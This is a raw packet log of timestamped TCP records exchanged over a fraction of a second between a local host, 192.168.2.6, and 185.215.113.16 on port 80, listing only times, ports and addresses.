Oct 24, 2024 09:07:30.311631918 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.311649084 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.311687946 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.311702013 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.311718941 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.311736107 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.311753988 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.311760902 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.311808109 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.311851025 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.311875105 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.311891079 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.311904907 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.311919928 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.311934948 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.311950922 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.311952114 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.311969042 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.311985016 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.311996937 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.312000036 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.312019110 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.312045097 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.312258959 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.312264919 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.312274933 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.312290907 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.312305927 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.312323093 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.312328100 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.312339067 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.312345982 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.312357903 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.312374115 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.312390089 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.312405109 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.312418938 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.312419891 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.312439919 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.312454939 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.312470913 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.312470913 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.312488079 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.312489033 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.312517881 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.312673092 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.312688112 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.312701941 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.312716961 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.312728882 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.312732935 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.312751055 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.312751055 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.312767029 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.312771082 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.312783957 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.312798023 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.312809944 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.312820911 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.312838078 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.312849998 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.312856913 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.312886000 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.312963009 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.312978029 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.312994003 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.313009977 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.313011885 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.313026905 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.313035011 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.313043118 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.313060999 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.313077927 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.313091040 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.313121080 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.313153982 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.313715935 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.314229012 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.354223967 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.354278088 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.354320049 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.354372025 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.354404926 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.354415894 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.354417086 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.354441881 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.354492903 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.354526997 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.354532957 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.354562998 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.354598045 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.354623079 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.354645967 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.400357008 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.400382042 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.400396109 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.400409937 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.400468111 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.425795078 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.425852060 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.425901890 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.425935984 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.425970078 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.426007032 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.426023960 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.426059961 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.426094055 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.426105022 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.426127911 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.426136017 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.426181078 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.426211119 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.426243067 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.426253080 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.426278114 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.426306963 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.426320076 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.426345110 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.426359892 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.426395893 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.426457882 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.426460981 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.426496029 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.426529884 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.426600933 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.426635027 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.426645994 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.426690102 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.426740885 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.426774979 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.426785946 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.426810026 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.426843882 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.426876068 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.426884890 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.426918983 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.426959038 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.426969051 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.427002907 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.427037001 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.427087069 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.427114964 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.427122116 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.427131891 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.427158117 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.427194118 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.427205086 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.427263021 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.427297115 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.427321911 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.427650928 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.427675962 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.427691936 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.427707911 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.427721024 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.427732944 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.427747965 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.427757025 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.427768946 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.427783966 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.427798033 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.427820921 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.427835941 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.427850962 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.427861929 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.427879095 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.427886009 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.427901983 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.427911043 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.427926064 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.427953959 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.427966118 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.427982092 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.427997112 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.428003073 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.428014994 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.428025961 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.428040981 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.428050995 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.428073883 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.428085089 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.428100109 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.428119898 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.428127050 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.428139925 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.428150892 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.428164959 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.428178072 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.428191900 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.428200960 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.428225040 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.428235054 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.428250074 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.428263903 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.428277969 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.428287983 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.428309917 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.428318977 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.428330898 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.428344965 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.428360939 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.428369999 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.428385019 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.428394079 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.428407907 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.428414106 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.428428888 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.428443909 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.428453922 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.428466082 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.428478003 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.428491116 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.428505898 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.428524971 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.428531885 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.428543091 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.428555012 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.428567886 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.428584099 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.428597927 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.428607941 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.428620100 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.428628922 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.428643942 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.428663015 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.428667068 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.428673029 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.428687096 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.428697109 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.428710938 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.428719997 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.428742886 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.428755045 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.428771019 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.428783894 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.428797960 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.428812981 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.428828955 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.428849936 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.428863049 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.428868055 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.428879023 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.428893089 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.428906918 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.428916931 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.428930044 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.428942919 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.428953886 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.428968906 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.428983927 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.428998947 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.429009914 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.429023027 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.429035902 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.429047108 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.429055929 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.429069042 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.429085016 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.429101944 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.429311991 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.429327965 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.429342031 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.429357052 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.429364920 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.429378986 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.429387093 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.429399967 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.429414034 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.429424047 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.429438114 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.429449081 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.429461002 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.429475069 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.429490089 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.429510117 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.429517031 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.429532051 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.429542065 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.429554939 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.429569006 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.429584026 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.429591894 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.429608107 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.429615974 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.429632902 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.429699898 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.429718018 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.429748058 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.429909945 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.429929018 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.429944038 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.429954052 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.429965019 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.429980040 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.429987907 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.430002928 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.430017948 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.430032969 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.430042028 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.430056095 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.430064917 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.430078030 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.430094004 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.430104017 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.430116892 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.430125952 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.430139065 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.430155993 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.430171013 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.430180073 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.430193901 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.430202961 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.430216074 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.430229902 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.430244923 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.430254936 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.430268049 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.430288076 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.430294991 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.430310011 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.430397987 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.430433989 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.430447102 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.430488110 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.439754963 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.470192909 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.470233917 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.470288038 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.471364975 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.471421003 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.471471071 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.471502066 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.471556902 CEST	80	49772	185.215.113.16	192.168.2.6
